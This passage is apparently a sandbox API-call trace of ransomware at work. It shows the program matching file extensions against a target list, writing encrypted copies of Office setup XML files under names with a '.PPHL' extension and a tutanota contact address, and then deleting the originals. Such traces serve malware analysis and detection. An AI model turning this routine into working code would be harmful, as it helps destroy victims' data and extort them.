(lpString1=".jpg", lpString2=".XML") returned -1 [0073.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.351] lstrlenW (lpString=".doc") returned 4 [0073.351] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.351] lstrlenW (lpString=".docx") returned 5 [0073.351] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0073.351] lstrlenW (lpString=".pdf") returned 4 [0073.352] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.352] lstrlenW (lpString=".xls") returned 4 [0073.352] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.352] lstrlenW (lpString=".xlsx") returned 5 [0073.352] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0073.352] lstrlenW (lpString=".ppt") returned 4 [0073.352] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.352] lstrlenW (lpString=".zip") returned 4 [0073.352] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.352] lstrlenW (lpString=".rar") returned 4 [0073.352] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.352] lstrlenW (lpString=".bz2") returned 4 [0073.352] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.352] lstrlenW (lpString=".7z") returned 3 [0073.352] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.352] lstrlenW (lpString=".dbf") returned 4 [0073.352] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.352] lstrlenW (lpString=".1cd") returned 4 [0073.352] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0073.352] lstrlenW (lpString=".jpg") returned 4 [0073.352] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.352] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.352] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0073.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.353] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1450) returned 1 [0073.353] CloseHandle (hObject=0x1f0) returned 1 [0073.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0073.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.353] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.353] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0073.355] GetLastError () returned 0x0 [0073.355] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0073.360] WriteFile (in: hFile=0x1f4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0073.360] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.360] WriteFile (in: hFile=0x1f4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0073.361] SetEndOfFile (hFile=0x1f4) returned 1 [0073.361] CloseHandle (hObject=0x1f4) returned 1 [0073.363] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.363] SetEndOfFile (hFile=0x1f0) returned 1 [0073.364] CloseHandle (hObject=0x1f0) returned 1 [0073.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.365] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0073.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.365] lstrlenW (lpString=".doc") returned 4 [0073.365] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.365] lstrlenW (lpString=".docx") returned 5 [0073.365] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0073.365] lstrlenW (lpString=".pdf") returned 4 [0073.365] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.365] lstrlenW (lpString=".xls") returned 4 [0073.365] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.365] lstrlenW (lpString=".xlsx") returned 5 [0073.365] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0073.365] lstrlenW (lpString=".ppt") returned 4 [0073.365] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.365] lstrlenW (lpString=".zip") returned 4 [0073.365] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.365] lstrlenW (lpString=".rar") returned 4 [0073.365] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.365] lstrlenW (lpString=".bz2") returned 4 [0073.365] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.365] lstrlenW (lpString=".7z") returned 3 [0073.365] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.365] lstrlenW (lpString=".dbf") returned 4 [0073.365] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.366] lstrlenW (lpString=".1cd") returned 4 [0073.366] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.366] lstrlenW (lpString=".jpg") returned 4 [0073.366] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.366] lstrlenW (lpString=".doc") returned 4 [0073.366] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.366] lstrlenW (lpString=".docx") returned 5 [0073.366] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0073.366] lstrlenW (lpString=".pdf") returned 4 [0073.366] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.366] lstrlenW (lpString=".xls") returned 4 [0073.366] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.366] lstrlenW (lpString=".xlsx") returned 5 [0073.366] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0073.366] lstrlenW (lpString=".ppt") returned 4 [0073.366] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.366] lstrlenW (lpString=".zip") returned 4 [0073.366] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.366] lstrlenW (lpString=".rar") returned 4 [0073.366] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.366] lstrlenW (lpString=".bz2") returned 4 [0073.366] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.366] lstrlenW (lpString=".7z") returned 3 [0073.366] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.366] lstrlenW (lpString=".dbf") returned 4 [0073.366] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.366] lstrlenW (lpString=".1cd") returned 4 [0073.366] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0073.367] lstrlenW (lpString=".jpg") returned 4 [0073.367] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.367] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.367] lstrlenW (lpString="SETUP.XML") returned 9 [0073.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.368] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1608) returned 1 [0073.368] CloseHandle (hObject=0x1f0) returned 1 [0073.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0073.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.368] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.369] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0073.369] GetLastError () returned 0x0 [0073.369] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x648, lpOverlapped=0x0) returned 1 [0073.372] WriteFile (in: hFile=0x1f4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x650, lpOverlapped=0x0) returned 1 [0073.373] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.373] WriteFile (in: hFile=0x1f4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.373] SetEndOfFile (hFile=0x1f4) returned 1 [0073.373] CloseHandle (hObject=0x1f4) returned 1 [0073.373] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.373] SetEndOfFile (hFile=0x1f0) returned 1 [0073.374] CloseHandle (hObject=0x1f0) returned 1 [0073.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.374] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0073.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.375] lstrlenW (lpString=".doc") returned 4 [0073.375] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.375] lstrlenW (lpString=".docx") returned 5 [0073.375] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.375] lstrlenW (lpString=".pdf") returned 4 [0073.375] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.375] lstrlenW (lpString=".xls") returned 4 [0073.375] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.375] lstrlenW (lpString=".xlsx") returned 5 [0073.375] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.375] lstrlenW (lpString=".ppt") returned 4 [0073.375] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.375] lstrlenW (lpString=".zip") returned 4 [0073.375] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.375] lstrlenW (lpString=".rar") returned 4 [0073.375] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.375] lstrlenW (lpString=".bz2") returned 4 [0073.375] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.375] lstrlenW (lpString=".7z") returned 3 [0073.375] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.375] lstrlenW (lpString=".dbf") returned 4 [0073.375] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.375] lstrlenW (lpString=".1cd") returned 4 [0073.375] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.376] lstrlenW (lpString=".jpg") returned 4 [0073.376] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.376] lstrlenW (lpString=".doc") returned 4 [0073.376] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.376] lstrlenW (lpString=".docx") returned 5 [0073.376] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.376] lstrlenW (lpString=".pdf") returned 4 [0073.376] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.376] lstrlenW (lpString=".xls") returned 4 [0073.376] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.376] lstrlenW (lpString=".xlsx") returned 5 [0073.376] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.376] lstrlenW (lpString=".ppt") returned 4 [0073.376] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.376] lstrlenW (lpString=".zip") returned 4 [0073.376] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.376] lstrlenW (lpString=".rar") returned 4 [0073.376] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.376] lstrlenW (lpString=".bz2") returned 4 [0073.376] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.376] lstrlenW (lpString=".7z") returned 3 [0073.376] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.376] lstrlenW (lpString=".dbf") returned 4 [0073.376] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.376] lstrlenW (lpString=".1cd") returned 4 [0073.376] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0073.376] lstrlenW (lpString=".jpg") returned 4 [0073.376] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.377] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.377] lstrlenW (lpString="SETUP.XML") returned 9 [0073.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.382] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=6241) returned 1 [0073.382] CloseHandle (hObject=0x1f0) returned 1 [0073.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0073.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.383] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.383] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0073.383] GetLastError () returned 0x0 [0073.383] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x1861, lpOverlapped=0x0) returned 1 [0073.386] WriteFile (in: hFile=0x1f4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0073.387] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.387] WriteFile (in: hFile=0x1f4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.387] SetEndOfFile (hFile=0x1f4) returned 1 [0073.387] CloseHandle (hObject=0x1f4) returned 1 [0073.387] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.387] SetEndOfFile (hFile=0x1f0) returned 1 [0073.388] CloseHandle (hObject=0x1f0) returned 1 [0073.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0073.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.389] lstrlenW (lpString=".doc") returned 4 [0073.389] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.389] lstrlenW (lpString=".docx") returned 5 [0073.389] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.389] lstrlenW (lpString=".pdf") returned 4 [0073.389] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.389] lstrlenW (lpString=".xls") returned 4 [0073.389] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.389] 